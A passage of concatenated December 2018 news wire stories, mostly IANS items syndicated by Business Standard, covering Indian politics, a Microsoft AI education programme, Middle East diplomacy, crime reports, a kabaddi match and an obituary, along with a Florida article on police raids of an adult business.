an emergency landing due to a booster failure. And even as the US remains at the forefront of space exploration, the world has learned to train its eyes on China, which is reportedly developing a new-generation manned rocket and spacecraft for its lunar explorations. (Gokul Bhagabati can be contacted at gokul.b@ians) --IANS gb/vm (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Microsoft on Thursday announced a three-year "Intelligent Cloud Hub" collaborative programme in India to empower institutes to skill students in Artificial Intelligence (AI) and Cloud technologies. The dedicated AI infrastructure and Internet of Things (IOT) hub programme will equip selected research and higher institutions with AI infrastructure, build curriculum and faculty capability to skill students in AI and cloud technologies, the company said in a statement. India is the first country to have such a programme under which Microsoft will support selected institutions with best-in-class infrastructure, onsite training for faculty and students, curriculum and content, access for participating students to cloud and AI services, developmental tools and developer support "Jobs of tomorrow will require a very different set of skills, and collaborating, training and working with AI will be as important as collaborating with people," said Manish Prakash, Country General Manager-PS, Health and Education, Microsoft India. "The Microsoft 'Intelligent Cloud Hub' programme aims to catalyse this with technology insights, cognitive skills, and a practical, in-depth understanding of developing intelligent connected solutions for application across industry and citizenship scenarios," Prakash informed. Microsoft will also offer a wide range of AI developmental tools and Azure AI Services such as Microsoft Cognitive Services, Azure Machine Learning and Bot Services. Training will include development workshops to help both the faculty and students build their skills and expertise in cloud computing, data sciences, AI and IoT. "Our vision is to make participating universities and institutions 'Intelligent Cloud Hubs' in their own right at the end of the first three years," Prakash added. Microsoft would also assist faculty in strategising content and curricula for project-based and experiential learning. For research-focused institutions, Microsoft will provide AI-based recommendations for potential areas of research. In April this year, the company announced the Microsoft Professional Programme (MPP) for the public. The programme provides job-ready skills and real-world experience to engineers and others who are looking to improve their skills in AI and data science through a series of online courses. --IANS na/bg (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Modi is the kind of man who wants to do everything himself and who is obsessed with creating history everyday. If he can become the first Indian Prime Minister to visit Timbuktu he would do so whether it is necessary and impactful or not, says former Union Minister Yashwant Sinha. There is one thing he has done which no Prime Minister has done before -- he has taken most of the existing government programmes and renamed them, so that the credit and glory accumulate to him, observes the former BJP leader in his book "India Unmade: How Modi Government Broke The Economy", a devastating essay on Modi and his government in the last four and a half years. Sinha, who has been critical of the BJP-led government, has dedicated the book, published by Juggernaut Books, to "All those who are not afraid to pursue the truth". In the chapter "Hail Caesar! Modi's Style of Functioning", the 81-year-old bureaucrat turned politician who was Minister of Finance and External Affairs in the Vajpayee government says Modi has centralised all decision-making powers in the government of India in himself, assisted by a few chosen officers in his PMO. "However, he is known to be more interested in powerpoint presentations than in reading voluminous files. This is a pity. It means that he does not grasp the nuances that are stored in institutional memory. Perhaps it suits a man whose intellectual training lacks rigour at best (indeed, no one has seen his higher education degree in 'entire political science')," Sinha says in the book co-authored with journalist Aditya Sinha. He says the government of India administration is driven by three centres: one, the prime minister and his PMO; the finance minister and his ministry; and three, the Planning Commission. A politician used to head the Planning Commission earlier, but now it has been silenced and replaced by the Niti Aayog, where Modi has placed people who have zero influence on governance, Sinha says adding that leaves only two drivers of government. The veteran politician, who had quit the IAS to join politics, observes that everyone knows how the finance minister's influence in government has declined to almost zero and he is unable to push things even in his own ministry. "After all, why his finance secretary Hasmukh Adhia was involved in the infamous demonetisation exercise, the finance minister himself was in the dark. The finance secretary's proximity to the Prime Minister goes back to their days together in Gujarat. "Everyone familiar with the functioning of the finance ministry is aware that independent political leadership of that ministry is absolutely essential to get things moving in the government." Modi, he says, is unfortunately a man who is impatient with institutions. His faith in himself blinds him to the fact that he is not a king, that he is only the head of a parliamentary party with a majority that enabled it to form a government, and which is prescribed with limits by the Constitution that has inbuilt checks and balances. Sinha says the cabinet is collectively responsible to parliament. But as an institution it has been turned into a rubber stamp for the prime minister's decisions. "It is said that most cabinet ministers are not allowed to speak unless an item of their ministry is up for a decision. Modi stands on a different plane from the ministers, and he has no time for them, because they don't matter. Only he does, and he will rule through bureaucrats -- this appears to be his mantra," says Sinha. The November 2016 demonetisation of high-value currency, for instance, was revealed to the cabinet only minutes before it was announced to the nation -- at no stage was it discussed with the collective political brains trust of the government. He feels perhaps a wider discussion would have made it more effective in achieving any of the goals that Modi set for it again and again during that surreal winter. Sinha refers to another big decision which took the concerned minister by surprise was the BJP's withdrawal of support to the PDP government in June this year with whom it was in a coalition government in Jammu and Kashmir. "The home minister, who historically has been so important that he (L. K. Advani) has also been deputy prime minister, had just days earlier visited Jammu and Kashmir energetically with a peace initiative in mind. As soon as he heard the decision -- like everyone else, as it was breaking -- he scampered off home, unwilling to face his bureaucrats or the media." Sinha also refers to the "most cavalier treatment" of External Affairs minister Sushma Swaraj who was the leader of the opposition in the Lok Sabha. "She is trolled by lunatics on social media, and Modi goes on to congratulate some of those trolls for their activity on the internet on his behalf. She is not only kept out of important policy decisions, she does not even travel abroad with her Prime Minister." This, he says, was in stark contrast to Vajpayee, who invited Sinha as foreign minister to accompany him on every foreign trip. He also observes that Modi did not take the Defence Minister into confidence while deciding on buying 36 Rafale fighter planes from France. "Vajpayee would never have done such a thing. But then it is my mistake to compare Modi to Vajpayee." Writing about the campaign carried out by him along with former minister Arun Shourie and activist-lawyer Prashant Bhushan on the Rafale deal, Sinha says, "despite Anil Ambani sending a 'cease and desist' notice to all and sundry on this clear case of undue favouritism, the nation awaits Modi's response." --IANS ss-vsc/sed (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Richard William "Rick" Radvany, 62, of Chaptico, MD passed away suddenly on Monday, December 17, 2018 at his home with his wife at his side. He was born December 31, 1955 in Richmond, VA to the late William Alfred and Aline Lee Greene Radvany. On February 5, 1975, Rick enlisted in the United States Army and proudly served his country until his honorable discharge on February 3, 1978 as a Sergeant. On December 4, 1977, he married his beloved wife, Dorothy Lee Radvany in Dillon, SC. Together they celebrated over 42 wonderful years of marriage. He was highly skilled and trained as an Automotive Service Excellence (ASE) Technician and was a Master Technician. He loved cars, with his favorite being a 1969 Pontiac GTO. He was an automotive instructor for Calvert County Public Schools at Calvert Career Center for over 25 dedicated years until his retirement in 2015. He was a hunter safety instructor for St. Mary's County, and enjoyed hunting deer and geese. He was also an avid historian and took many family day trips visiting surrounding historical sites. His family was his greatest love, especially his grandchildren, whom he enjoyed spending his time with. He also loved his pet boxers, "Buddy" and the late "Buster." In addition to his beloved wife, Rick is survived by his children, Bill Radvany (Deb) of St. Leonard, MD and Danielle Trow (Russ) of Leonardtown, MD; his siblings, Wanda Faye Barron (Jim) of Mechanicsville, VA and Terry Crocket (Doug) of Seaford, VA; his grandchildren: Kayla Radvany of Chattanooga, TN, Katie Epps of St. Leonard, MD, Travis Radvany of St. Leonard, MD, and Karlie Trow of Leonardtown, MD; his great grandson, Mason Maxwell "Max" Burkhart of Chattanooga, TN; and many extended family and friends. In addition to his parents, he is also preceded in death by his brother, Al Radvany. Family will receive friends on Friday, December 21, 2018 from 12:00 to 1:00 p.m., with a Funeral Service celebrated by Rev. Dr. Keith Manry, Chaplain, Captain, USAF, at 1:00 p.m., at Brinsfield Funeral Home, P.A., 22955 Hollywood Road, Leonardtown, MD 20650. Interment will follow at Evergreen Memorial Cemetery, Great Mills, MD 20634. Memorial contributions may be made to St Mary's Animal Welfare League, P.O. Box 1232, Leonardtown, MD 20650. Condolences to the family may be made at www.brinsfieldfuneral.com Arrangements by the Brinsfield Funeral Home, P.A. Moroccan authorities on Thursday arrested three new suspects in Marrakesh city on suspicion of their involvement in the deaths of two Scandinavian female tourists. A police search for the suspects started when the bodies of Louisa Jespersen, 24, from Denmark, and Maren Ueland, 28, from Norway, were found on Monday in tents they had been camping at the village of Imlil, located in the high Atlas Mountains of Morocco. The women's bodies had "evidence of violence to their necks," the Moroccan Interior Ministry had said in a statement. The detainees were now subject to judicial investigation under the supervision of the General Prosecutor's Office to determine the circumstances and reveal the motives behind the deaths, Efe news cited the Central Bureau of Judicial Investigations as saying. Another suspect was arrested on Tuesday and a Moroccan prosecutor said he had affiliations to a terror group, without naming it. Meanwhile, investigators were seeking to authenticate a video shared on social media purporting to show the murder of one of the tourists, according to the official MAP news agency. Danish Prime Minister Lars Lokke Rasmussen tweeted that the incident was "politically motivated and thus an act of terror". --IANS soni/sed (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) National Conference activists took out a protest march in this summer capital of Jammu and Kashmir on Thursday against the killing of civilians by security forces in Pulwama. The activists, led by General Secretary Ali Muhammad Sagar, marched from the party headquarters. When they reached near the Sher-e-Kashmir Park on Residency Road, police stopped them. They were not allowed to go beyond the spot. Later, the protesters dispersed peacefully. Seven civilians were killed by security forces in Pulwama on December 15, triggering widespread anger in the Kashmir Valley in particular. --IANS sq/mr (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Israeli Prime Minister Benjamin Netanyahu has said he held a phone call with US President Donald Trump over Iranian military's presence in Syria. The call came a day after Trump announced the US decision to withdraw forces from the war-torn country as the Islamic State (IS) militant group had been defeated. According to a statement released by Israeli Prime Minister's office on Thursday, the two leaders discussed "ways to continue the cooperation... against the Iranian aggression". Earlier in the day, Netanyahu vowed to "act very aggressively against Iran's attempts to establish itself in Syria," saying Israel has the backing of the White House in its actions against the Islamic republic, Xinhua news agency reported. The US withdrawal announcement was seen in Israel as an embarrassment to Netanyahu's foreign policy established on his close ties with Trump. Yair Lapid, leader of the opposition Yesh Atid party and Israeli former finance minister, described the US "surrender" as "a failure of Netanyahu's foreign policy". "It clears the way for Iran's expansion and narrows Israel's ability to bargain with the Russians," he tweeted. Ehud Barak, Israel's former Prime Minister, said the move exposed Netanyahu's dependence on his ties with US and Russian leaders. "Trump is deserting Syria and the Iranians are celebrating," Barak tweeted. Israel and Syria share a disputed border in the Golan Heights, which Israel seized in the 1967 Middle East War and annexed in a move not recognized internationally. The Israeli military has carried out dozens of airstrikes in recent years against Iranian and Syrian army positions in Syria, as well as convoys of weapons for Hezbollah, a Lebanese Shiite militia. --IANS pgh/ (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Former Us President Barack Obama paid a surprise visit to the Children's National Medical Center here, bringing with him a sack of presents for the young patients. The 44th President was given a rock star's entrance as he entered the hospital, with his swagger giving way to dance moves as he neared the singing crowd. Video of the visit was posted to the hospital's Twitter account, with the clip being viewed more than a million times in three hours. "Thank you @BarackObama for making our patients' day so much brighter. Your surprise warmed our hallways and put smiles on everyone's faces." Wearing a red Santa hat, Obama toured the hospital. He met with patients and their families acting as a "stand-in" for Santa, handing out presents to children. "Merry Christmas and happy holidays to the extraordinary kids, families, and staff at Children's National," he said in a tweet. "And thanks for humouring me as your stand-in Santa." US First Lady Melania Trump also made a trip to the hospital last week, reading patients a Christmas story during her visit. She then gave each child a copy of the book, which was about a bullied Christmas ornament, ABC reported. --IANS in/ (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Assam Finance Minister Himanta Biswa Sarma on Thursday hit back at Congress President Rahul Gandhi for his comments on farm loan waivers and underlined that the Assam scheme has "nothing to do with Congress policy of debt waiver". He stressed that the Assam government announced the scheme to commemorate 125 years of agrarian uprising (of Patharughat) and not to copy the Congress governments in Madhya Pradesh and Chhattisgarh, as being claimed by Rahul Gandhi. "We have come up with a different model. As of now, the industry gets working subsidy but farmers don't get such subsidy. Now we have decided that our farmers will get a permanent subsidy of 25 per cent on the loan they get from the bank. It is not debt waiver," Sarma said. "This will be a permanent continuous scheme unlike loan waivers announced during poll times. We want to keep them (farmers) in the banking system. In case of loan waivers, the bank may deny them loan the next time," he added. Sarma said that the second scheme is that of interest subvention on farm loans. "The Central government gives 4 per cent interest subsidy. We have decided the state government would give subsidy of another 4 per cent. So in this way, the farmers would have an interest-free loans with a capital subsidy of 25 per cent," he said. Hitting out at Rahul Gandhi, Sarma said: "What does Rahul Gandhi know of this agrarian uprising in Assam that happened in 1894? It is an emotional, sentimental and cultural issue for the Assamese people." On Wednesday, Rahul Gandhi had tweeted: "The Congress party has managed to wake the Chief Ministers of Assam and Gujarat from their deep slumber. Prime Minister is still asleep. We will wake him up, too." His tweet came after the BJP governments in Assam and Gujarat announced waiver of farm loans and rural electricity bills, respectively. --IANS mak/nir (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) India has made it clear that Pakistan has no say whatsoever on Jinnah House, the sea-facing bungalow in Mumbai of founder of Pakistan Muhammad Ali which is in the process of being turned into a cultural and convention centre. "Pakistan is not in the picture," External Affairs Ministry spokesperson Raveesh Kumar said on Thursday in response to a question at a media briefing. "They have no locus standi as far as this property is concerned," Kumar said. "It is a government of India property." His remarks came after the Pakistan Foreign Office earlier in the day said that Islamabad would not relinquish its claim over the property. Jinnah's daughter Dina Wadia had moved the Bombay High Court in August 2007 claiming ownership of the property on the ground that she was sole legal heir of Jinnah. After she passed away in December last year, her son and Wadia group chairman Nusli Wadia is carrying on the litigation process. "We are actually in the process of renovating it and putting it to effective use on the lines of what we do with Hyderabad House in New Delhi," Kumar said. External Affairs Minister Sushma Swaraj, in a letter to Mumbai BJP legislator Mangal Prabhat Lodha, said that the Prime Minister's Office has approved the property to be transferred to her ministry. --IANS ab/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Jaipur Pink Panthers ended their home leg with a 37-37 tie against Dabang Delhi in the Vivo Pro Kabaddi League here on Thursday. Dabang Delhi would feel disappointed as they were in control for most of the match but lost their composure in the last five minutes. Deepak Hooda scored eight points for Jaipur while Sandeep Dhull got a high five. Chandran Ranjit (11 points) and Pawan Kadian (9 points) were among the top scorers for Dabang Delhi. Dabang Delhi made a strong start and led 5-0 after four minutes as they picked up a couple of raid and tackle points. A super tackle in the 5th minute opened Jaipur Pink Panthers' account. Jaipur Pink Panthers were kept alive in the match because of their defence as they forced another super tackle in the 8th minute to level the match at 6-6. Dabang Delhi took the lead once again as they inflicted an all out in the 11th minute to lead 11-7. Selvamani's super raid in the 13th minute got Jaipur back in the match once again. It was a see-saw of a match with Jaipur cutting the deficit every time Delhi threatened to run away with the match. Ajinkya Pawar's two-point raid in the 17th minute made it a one point gap. At the end of the first half Dabang Delhi led 18-17. Pawan Kadian made a super raid in the 21st minute to give Delhi a 21-18 lead. But Selvamani's brilliant four-point raid in the 24th minute got Jaipur back in the match once again. With less than five minutes to go Jaipur were trailing by five points when Ajinkya Pawar made a two-point raid to reduce the gap to three. In the 38th minute Jaipur inflicted an all out as they trailed 35-36 and Deepak Hooda levelled the match in the next minute with a successful raid. --IANS gau/bg (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Boosted by the entry of former NDA constituent, the Rashtriya Lok Samta Party (RLSP), into the opposition coalition in Bihar, Rashtriya Janata Dal (RJD) leader Tejashwi Yadav on Thursday said a "pre-poll grand alliance" was imperative to defeat the BJP government at the Centre. With another NDA partner Lok Janshakti Party (LJP) expressing unease with the BJP, Tejashwi hinted at paying court to the Ram Vilas Paswan-led party to the United Progressive Alliance (UPA). Days after quitting the Modi government, RLSP leader Upendra Kushwaha formerly joined the UPA at the Congress headquarters here in the presence of Loktantrik Janata Dal leader Sharad Yadav, Hindustani Awam Morcha Jitan Ram Manjhi and several Congress leaders. "There was speculation about whether Kushwaha would join the UPA. Today his party is part of the grand alliance. It was Kushwaha's decision to join, nobody forced him. Similarly whether or not the LJP will join the grand alliance, that is their decision. But the country's (political) climate is changing, you need to wait and see," said Tejashwi reacting to reports of the LJP's unease with the BJP over seat-sharing pact in Bihar. Tejashwi's remarks came on a day when LJP chief and Union Minister Paswan along with his son Chirag held talks with BJP president Amit Shah in the national capital. While Tejashwi remained tight-lipped about any bid to woo Paswan to the grand alliance, sources said leaders of the Congress and the RJD were mulling a meeting with the LJP supremo. Tejashwi accused Prime Minister Narendra Modi of imposing an "undeclared emergency" in the country and wrecking democratic institutions, saying a "pre-poll grand alliance" of opposition parties was the need of the hour. "Opposition parties had a meeting at Parliament annexe where the discussions were positive. The first step towards a grand alliance is being taken and I hope all opposition parties must unite and contest the Lok Sabha polls together to defeat the BJP. "If we don't unite, people will not forgive us," he said exuding hope that Akhilesh Yadav-led Samajwadi Party (SP) and Mayawati's Bahujan Samaj Party (BSP) would sooner or later become a part of the anti-BJP "grand alliance". "Like-minded parties opposed to the BJP are steadily uniting. Both the SP and the BSP need not be told, they know what they should do. And I believe, their decision would be based on what the people of the country want, which is to get rid of the Modi government," he said. Remaining evasive about whether his party was open to the idea of Rahul Gandhi being the prime ministerial face of the grand alliance, Tejashwi praised the leadership qualities of the Congress President. "The issue is not who will be the Prime Minister, the issue is whether our Constitution, our country will be will be protected or not from the BJP onslaught. "The recent Assembly poll results have displayed Gandhi's leadership qualities. The way he is striving to bring all opposition parties to a single platform is praiseworthy. I believe opposition parties are uniting and we will together defeat the Modi regime," said Tejashwi. --IANS and/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Prime Minister Narendra Modi will inaugurate an archaeological museum in Lalitgiri, Odisha during his visit to the state scheduled for next week, Minister of Culture Mahesh Sharma said on Thursday. "The Archaeological Museum, Lalitgiri, is sure to add more charm to tourism in the region and increase the immense potential of employment generation," Sharma said at a press conference held here. Minister of Petroleum and Natural Gas Dharmendra Pradhan also accompanied him. Built by the Archaeological Survey of India (ASI), the museum aims to protect and preserve retrieved antiquities. The government has spent Rs 10 crore on constructing the museum, spread over an area of 4,750 sq.m. ASI Director General Usha Sharma said that the most important finds in Lalitgiri are relic caskets found inside the stupa during excavations in 1985. Three Khondalite stone caskets were found, of which two have one set of steatite, silver and gold caskets each with the relics inside in the form of charred bones. Modi will release the commemorative coin and postage stamp in memory of the Paika Rebellion at a function to be held on the IIT-Bhubaneswar campus, Sharma said. "The Centre has decided to set up a chair in the memory of the event in Utkal University, Bhubaneswar, at a cost of Rs 5 crore. The money will be released to the university as a corpus fund to be kept in an escrow account. Expenses of the chair will be met out of the interest earned on the corpus fund," he said. --IANS som/nir/bg (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Punjab government on Thursday signed a Memorandum of Understanding with the Airports Authority of India (AAI) for setting up a new Civil International Air Terminal at Indian Air Force station at Halwara, near Ludhiana. The MoU was signed by Punjab's Secretary Civil Aviation Tejveer Singh on behalf of the state government and Executive Director G.D. Gupta, on behalf of AAI. Giving details of the MoU, an official spokesperson said the project would be implemented through a Joint Venture Company (JVC) formed with the majority stake of 51 per cent of the AAI and 49 per cent stake of the Punjab government through the Greater Ludhiana Development Authority (GLADA). The AAI would bear all capital expenditure of development of new airport while the Punjab government would provide 135.54 acres of land free of cost and free of all encumbrances for the project. The JVC will bear all expenditure on operation, management and maintenance including repairs, he added. It is expected that Phase I of the project, which is the development of new international civil enclave in 135.54 acres for full-fledged operations up to Code-4C type of aircraft, shall be completed within three years. The international airport at Ludhiana would not only be a commercially viable project and facilitate better air connectivity for passengers of Punjab but will also have a spin-off economic benefit for the industries in the state, the spokesperson added. At present, Punjab has two international airports at Chandigarh and Amritsar. --IANS js/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) In February and July, the Hollywood Police Department raided the Pleasure Emporium an adult business at 1321 South 30thAvenue resulting in the arrests of more than a dozen men. The men were charged for a variety of acts, including masturbating and engaging in oral sex, officially exposure of sexual organs and/or unnatural lascivious acts. In late October, Broward County Judge Ginger Lerner-Wrenruled that the locked rooms at the Pleasure Emporium are, in fact, private areas, and therefore charges of exposing genitals in public arent valid. Lerner-Wren dismissed two of the cases brought by attorney Rhonda F. Gelfman of North Miami Beach. "The court finds that the Pleasure Emporium is not a public space under [Florida Statute] 800.03," Lerner-Wren wrote in her ruling. "The patrons who access the private viewing theaters where consensual activity occurs in the presence of other consenting adults objectively and subjectively possess a reasonable expectation of privacy." The judge noted that Pleasure Emporium has several levels of barriers in place to keep unsuspecting patrons away from the sexual activity. But despite this ruling prosecutors have not dropped the charges against the other men. Those cases are assigned to other judges, who have the ability to rule differently because county court judges have what is known as concurrent jurisdiction meaning one courts ruling does not bind another. What this means is the state attorneys office is judge shopping trying to hook up with another judge that might rule in their favor, said Russell Cormican, who represented one of the men whose case was dismissed. Judge Lerner-Wrens decision was hailed by those who thought the police had clearly overreached. The Hollywood Police did not share the judges view. "The Hollywood Police Department respectfully disagrees with the judges interpretation," Miranda Grossman, the Hollywood Police Department's public information manager, told media outlets in October. "The State Attorneys Office felt there was sufficient basis to file charges in August. The department still believes the establishment is not private since it is open to the public." The Broward State Attorney who decided to prosecute the men is Michael J. Satz. After the judges ruling, Satz office said it would review the situation to determine next steps. As of press time Satz office had not returned requests for updated comments to SFGN. How the judges ruling will affect the charges against men with pending cases isnt clear. I assumed the State would dismiss the cases [after the judges ruling], said attorneyAbbie B. Cuellar of Miamis Amador & Cuellar.Cuellar had filed a motion to dismiss her clients cases and was denied. Shes now scheduled to depose the police officers involved in the summer raid on Dec. 19. I want to find out the reason behind the raid, she said. They are claiming 11 of 13 men were seen doing exactly the same thing. Two clients are being accused of masturbating in the theater, but they never bought a ticket and were never in there, she said. The theater area is marked with a large neon private viewing sign. To access the theater area, patrons must be 21 years old and purchase a ticket from a clerk in the front of the store near a boutique retail area. [The Hollywood Police] had instructions to arrest anyone that was back there, and in order for it to stick, had to charge them, Cuellar said. Cuellar thinks the Hollywood Police assumed the arrested men would agree to plead out or enter a diversion program and never take their cases to trial. Diversion programs are typically used by those who have no prior arrests, although one is required to admit guilt. Cuellar said her clients intend to go to trial, and are risking up to a year of jail time in order to send a message. Even if they had done what they are accused of doing, they are consenting adults, she said. Cuellar said there are currently eight holdouts by her count. Im very disappointed to hear that the prosecutors are ignoring Judge Lerner-Wrens very well reasoned decision, Cormican said. Its an incredible waste of resources to continue the prosecution of sexual encounters between consenting adults occurring in a place that a Judge has already found to be private. Id rather see them focus on real criminal activity and stop trying to govern the private sex lives of gay men. Rough road One of Cuellars clients came to Florida via Cuba, fleeing what he saw as an oppressive area for one more socially accepting. In South Florida, he had a full time job in the health care industry and was going to school. Two days after his arrest, Cuellar said he was terminated. He was also not out at work as a gay man. He wants to be licensed as a nurse practitioner, but now has to wait until his case is resolved, she said. Cuellar said her client was able to find another job and that his partner and family were supportive, but he went through a really difficult time. Another of Cuellars clients lost his job and had to leave Miami to find work again. He went into a deep depression, she said. It was his first time [at the Pleasure Emporium], Cuellar said. He had gone at the urging of a friend. The family of another of her clients now isnt communicating with him at all, Cuellar said. Youre outed and made to be a pedophile, a sex offender, she said. It wasnt bad enough they get arrested, then the police department sends their pictures to the press. Two of Cuellars clients were charged with having consensual sex and two were charged with masturbating. [One client] goes there because he really doesnt have a community. He talks to people there. He was in the hallway getting ready to leave when they arrested him, she said. Cuellar is surprised there hasnt been more public outcry in response to the raids. It shocks me there isnt more of a reaction, Cuellar said. Today its my clients, tomorrow itll be someone else people harassed and humiliated for a consensual act in a private place.Its despicable that this is happening in Broward in 2018. Click on the related story South Korean mobile phone major Samsung Mobile is the most attractive brand, said a TRA Research report on Thursday. Reliance Jio, the major disruptor in the the Indian telecom sector, ranked fourth among the top 20 attractive brands, the report said. Speaking on the popularity of Samsung Mobile, N. Chandramouli, CEO of TRA Research, said: "Samsung offers mobile phones with prices ranging from Rs 8,000-75,000 and this very variety sets it aside from other mobile manufacturers." He also noted that the company has come out well after instances of the Samsung Note 7 model bursting and catching fire in 2016 hurt the brand significantly. On Reliance Jio, Chandramouli said that the internet penetration achieved by Jio and the data availability it has ensured have helped in its popularity. Following Samsung Mobile, on the second position is Tata Motors, while Apple iPhone ranked third in the list. The fifth position was held by Maruti Suzuki. TRA said it conducted the survey among 2,474 consumer-influencers across 16 cities in the country. --IANS rrb/nir (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The CBI on Thursday arrested senior journalist Suman Chattopadhyay for allegedly receiving money in his bank accounts from chit fund firm I-Core Group, the agency said. Chattopadhyay, editor of leading Bengali Daily Ei Samay, was arrested after a day-long questioning at CBI's office here in connection with a case registered against I-Core Group. "Investigation has revealed that funds collected illegally by the I-Core Group were allegedly diverted in the accounts of Disha Productions and Media Private Limited (DPMPL) as well as personal account of Suman Chattopadhyay," Central Bureau of Investigation (CBI) Spokesperson Abhishek Dayal said. Chattopadhyay is the Director of DPMPL, the official said, adding the accused will be produced on Friday before a special court in Bhubaneswar in Odisha "The investigation is continuing," he added. --IANS rak/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Central Bureau of Investigation on Thursday arrested Suman Chattopadhyay, editor of a leading Bengali daily, in I-Core Group chit fund scam, an official said. Chattopadhyay had allegedly received money in his bank accounts from the chit fund firm, the agency's spokesperson Abhishek Dayal said. Chattopadhyay, also a director in Disha Productions and Media Private Limited (DPMPL), was arrested after several hours of questioning at the agency's office at the CGO complex in a case registered against the I-Core Group. "The investigation has revealed that funds collected illegally by the I-Core Group were allegedly diverted in the accounts of DPMPL as well as personal account of Chattopadhyay," the spokesperson said. "He will be produced before a special Chief Judicial Magistrate's court in Odisha's Bhubaneswar on Friday," he said. "The investigation is continuing," he added. The CBI in 2014 started its probe into the affairs of the I-Core Group following a Supreme Court order asking the central agency to investigate all non-Saradha (Group) fund mobilising companies. The Managing Directors of I-Core E Services Limited, Anukul Maity, and his wife Kanika were arrested in 2017 by CBI on charges of cheating. The couple was earlier taken into custody by the Criminal Investigation Department of West Bengal police in cheating and other fraud cases. The company had mobilised funds, mainly in Odisha, Jharkhand and West Bengal, through its ponzi schemes that promised returns at rates much higher than those prevailing in the market. --IANS mgr-rak/ssp/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) As part of its exercise towards improving the doing business environment across the states, the Department of Industrial Policy and Promotion (DIPP) under the Union Ministry of Commerce and Industry and the World Bank held a workshop on "Business Reform Action Plan-2019 (BRAP-2019) Implementation Guidelines and the Feedback Methodology" for north India region in the state capital on Thursday. In addition to the host Uttar Pradesh, officials concerned from Jammu & Kashmir, Punjab, Haryana, Uttarakhand and Himachal Pradesh participated in this day-long workshop, an official informed. There are 80 recommendations under the BRAP-2019. It was informed that ground level feedback of users would be the main criteria of ranking under BRAP-2019 and feedback would be taken on all the implemented reforms. The implementation deadline is February 28, 2019. Addressing the participants, Chief Secretary Anup Chandra Pandey said that the Uttar Pradesh government is making concerted efforts to ease the doing business environment in the state by continuously strengthening the single-window clearance portal - Nivesh Mitra. He said that in addition to 70 services of 20 departments, the government is in the process of integrating new industrial services to the online portal. "Additionally, we hold regular interactions with industrialists to resolve their issues in a time-bound manner," he added. Pandey said that tremendous response of investors to new measures and investment-friendly policies is a testimony to state government's successful efforts in this direction. World Bank representative Harsh Jhanjaria said improving the business climate is a dynamic and evolving process, adding that India has witnessed significant improvement in actual implementation of the World Bank recommendations during the last three years. He informed that 17 states implemented over 90 per cent reforms in the year 2017-18. It may be noted that from a ranking of 142 in the year 2014, India jumped to 77th position in the world ranking for ease of doing business, which is the highest jump by any country in a short period period of time. Now India ranks first amongst the South Asian countries. Highlighting the fact that Uttar Pradesh secured "Achiever State" category with 92.89 per cent score in the implementation of business reform points, Principal Secretary, Infrastructure & Industrial Development - Rajesh Kumar Singh said Udyog Bandhu has been taking the business reforms to ground level through training workshops at division level for awareness amongst government officials and entrepreneurs. Such workshops have been held in 14 divisions of the state so far. --IANS md/nir (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A day after Congress President Rahul Gandhi claimed in Twitter that the Congress has awakened Chief Ministers of Assam and Gujarat from their deep slumber, Assam Chief Minister Sarbananda Sonowal and Finance Minister Himanta Biswa Sarma countered the Congress chief on the social networking platform. Chief Minister Sonowal has accused Gandhi of trying to take credits for issues related to livelihood and development of farmers of Assam. "Mr Gandhi, this attempt to take credit on an issue that is related to the livelihood & development of farmers is quite frivolous. You have no moral right to talk about Assam or its farmers. Everyone knows how your successive Govts in Assam looted the resources meant for farmers," Sonowal tweeted. "As you seem to be interested in claiming credit for some of Assam Govt's decisions, I request you to take credit for all misdeeds, corruption and loot that had perpetuated all these decades under Congress rule, thus depriving the people of Assam in general & farmers in particular," Sonowal wrote in Twitter. In his tweet, Gandhi had earlier stated: "The Congress party has managed to wake up the CMs of Assam & Gujarat from their deep slumber. PM is still asleep. We will wake him up too." The Assam government on Wednesday announced Rs 1,000-crore schemes to boost the farm sector in terms of waiving loans to the tune of 25 per cent and announcing incentives to help the distressed farmers. Assam Finance Minister HImanta Biswa Sarma said the Congress President has failed to respect sentiments by linking it to petty "Rahul Ji, Assam Govt. has not announced any debt waiver scheme. We are offering 25% subsidy on short term agricultural loan along with full interests subvention. These schemes will continue unlike a one-time loan waiver. Completely opposite to your idea," said a tweet of Sarma. "And we are announcing these schemes to commemorate 125 years of the agrarian uprising against the British in Pathorughat in 1894 (I announced these in my budget 10 months ago). You have failed to respect our sentiments by linking it to petty politics," Sarma said in another tweet. --IANS ah/nir (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Thai Prime Minister Prayut Chan-o-cha on Thursday dismissed calls for his resignation ahead of February's general election. Prayut told reporters at the Government House that he will stay on as head of government and chief of the ruling National Council for Peace and Order despite persistent calls for him to step down during the run up to the nationwide election, scheduled for February 24, Xinhua news agency reported. He called on his critics to stop asking him to quit until the end of the electoral campaign during which he will almost certainly be pitted as the top candidate for post-election Prime Minister by the Palang Pracharath Party, from which he has four members of his Cabinet. Prayut came to power after the 2014 coup staged by the military junta under his command as Army chief. He set up an un-elected government after the coup. --IANS soni/bg (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Central Tibetan Administration (CTA) President Lobsang Sangay on Thursday hailed US President Donald Trump's decision to impose a visa ban on Chinese officials who deny American citizens, government officials and journalists access to Tibet. Trump on December 19 signed into law the Reciprocal Access to Tibet Act of 2018 that will impose the visa ban. "The Reciprocal Access to Tibet Law will not only make the perpetrators of human rights violations accountable but also bolster institutional and diplomatic engagement on Tibet," Sangay said in a statement. "Again I thank the US Congress for passing the landmark bill and International Campaign of Tibet and everyone who contributed to making this a reality," Sangay said. "This is a very courageous step and sends the right message of 